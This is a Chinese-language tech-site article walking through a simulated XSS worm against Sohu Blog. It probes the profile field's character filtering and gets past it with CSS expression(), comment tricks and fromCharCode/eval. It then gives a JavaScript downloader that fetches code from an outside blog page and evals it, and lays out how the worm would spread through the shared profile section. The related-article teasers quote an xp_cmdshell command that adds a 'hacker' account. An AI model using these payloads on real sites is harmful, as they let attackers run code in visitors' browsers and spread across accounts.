驱动管家:安全、高效、精准的专业驱动下载站!

模拟xss wrom入侵搜狐博客?xss wrom感染流程

2018-03-18 15:36:45责编:llp   来源:驱动管家     人气:

我先拿SOHU BLOG做示范.

1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.

’’;:!--"=&#{()} \/

结果

’’;:!--"=&#{()} // (&后是amp,论坛过滤了)

过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.

2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.

expression

onerror

onload

3.下面开始尝试构造语句.如下:

构造完整标记,页面输出后又全部过滤.

4."/"字符没有过滤因此可以构造注释符,expression属性可以配合注释符构造出语句:

5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:

//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.

6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:

7.感染流程考虑:

模拟xss wrom入侵搜狐博客?xss wrom感染流程

㈠.BLOG页面的个人档案处是页面通用的,

㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS

㈢.实现一段提交XSS内容到个人档案的代码.

8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.

主要代码:

function d(){

a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件

a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求

a.send();

b=a.responseText; /*将传回值赋给变量B

eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));

/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.

}d()

http://s0n9.blog.sohu.com/31406970.html 页面代码:

alert('xss');

/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)

PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发

  • 网页挂马有哪些?什么是htm文件挂马?

    网页挂马有哪些?什么是htm文件挂马?

    下面介绍集中常见的网页挂马方式:(1)iframe 框架挂马在网页上增加一行挂马的程序,例如:这种嵌入是的挂马非常常见,在Google中搜索发现的可能还有木马的网页,一般都是被这种方式挂马。这行语句就是在网页打

    详情2018-02-28 16:58:08责编:llp   来源:驱动管家     
  • 学习编程的五种推荐方案 basic语言的优缺点

    学习编程的五种推荐方案 basic语言的优缺点

    如果您想学习编程,却又不知从何入手,那么您不妨看看下面的几种学习方案,可能会给您一些启示吧!方案一 Basic语言 & Visual Basic优点(1)Basic 简单易学,很容易上手。(2)Visual Basic 提供了强大的

    详情2018-02-13 19:29:26责编:llp   来源:驱动管家     
  • 什么是密码破解?密码破解的攻击方式有哪些?

    什么是密码破解?密码破解的攻击方式有哪些?

    密码与用户帐户的有效利用是网络安全性的最大问题之一。在本文中,Rob Shimonski将研究密码破解:如何以及为何进行密码破解。Rob将只说明渗透网络是多么简单,攻击者如何进入网络、他们使用的工具以及抗击它的方

    详情2018-01-09 10:59:32责编:llp   来源:驱动管家     
  • 怎么利用microsoft sql server 2000入侵服务器获得主机的命令?

    怎么利用microsoft sql server 2000入侵服务器获得主机的命令?

    怎么利用microsoft sql server 2000入侵服务器获得主机的命令?有以下的步骤。一、首先确保得到数据库超级管理员权限二、然后执行如下SQL命令:1、exec master dbo xp_cmdshell & 39;net user hacker hack

    详情2018-01-23 09:28:19责编:llp   来源:驱动管家     
  • 怎么找出qq邮箱的xss漏洞?qq邮箱xss跨站漏洞如何修复?

    怎么找出qq邮箱的xss漏洞?qq邮箱xss跨站漏洞如何修复?

    QQ邮箱储存型xss,无任何过滤哦亲 邮箱打开附件处文本型附件可以直接打开,对文本字符无任何过滤。在所有ie内核的浏览器下面触发文本内的xss通过以下步骤可在现漏洞首先建个记事本输入保存。然后打开QQ邮箱点击

    详情2018-02-05 20:53:45责编:llp   来源:驱动管家     
  • adobe flash cs3软件的作用 adobe flash cs3有什么漏洞?

    adobe flash cs3软件的作用 adobe flash cs3有什么漏洞?

    Adobe Flash CS3 Professional软件是用于为数码、Web和移动平台创建丰富的交互式内容的最高级创作环境。 Adobe Flash CS3 Professional处理畸形格式的 FLA文件时存在漏洞,攻击者可能利用此漏洞提升权限。

    详情2018-01-27 18:06:20责编:llp   来源:驱动管家     
  • 什么是dns欺骗攻击?dns欺骗攻击怎么防范?

    什么是dns欺骗攻击?dns欺骗攻击怎么防范?

    你是否遭遇过这样的情况?当你在浏览器中输入正确的URL地址,但是打开的并不是你想要去的网站。它可能是114的查询页面,可能是一个广告页面,更可能是一个刷流量的页面,甚至是一个挂马的网站。如果你遇到了上述情况话,那么极有可能你遭遇了DNS欺骗。

    详情2018-01-13 12:29:36责编:llp   来源:驱动管家     
  • 精灵宝可梦go存在哪些风险?精灵宝可梦go的权限问题

    精灵宝可梦go存在哪些风险?精灵宝可梦go的权限问题

    《Pokémon Go》是任天堂Pokémon(中译名口袋妖怪、宠物小精灵、精灵宝可梦)系列的最新游戏,由 Niantic Labs 联合开发,也是第一款 Pokémon 手游。不需多说,看到这篇文章的你,多半

    详情2018-01-16 14:25:16责编:llp   来源:驱动管家     
  • n多注入项目代码如何利用正则表达式筛选安全选项?

    n多注入项目代码如何利用正则表达式筛选安全选项?

    今天看一个项目代码,文件不多,不过每个文件中都N多注入,一个一个看实在太累,索性花了点时间,弄了个正则表达式,搜索出来,然后再将安全的筛选出去。省了不少时间的说。1 查找select、update、delete语句((se

    详情2018-03-06 17:53:22责编:llp   来源:驱动管家     
  • 谈谈csrf的攻击原理 什么是csrf?

    谈谈csrf的攻击原理 什么是csrf?

    CSRF攻击原理解析Author: rayh4c [80sec]EMail: rayh4c 80sec comSite: http: www 80sec comDate: 2008-9-210×00 前言在Web程序中普通用户一般只在Web界面里完成他想要的操作,Web程序接受的正常客户端请

    详情2018-01-18 13:30:58责编:llp   来源:驱动管家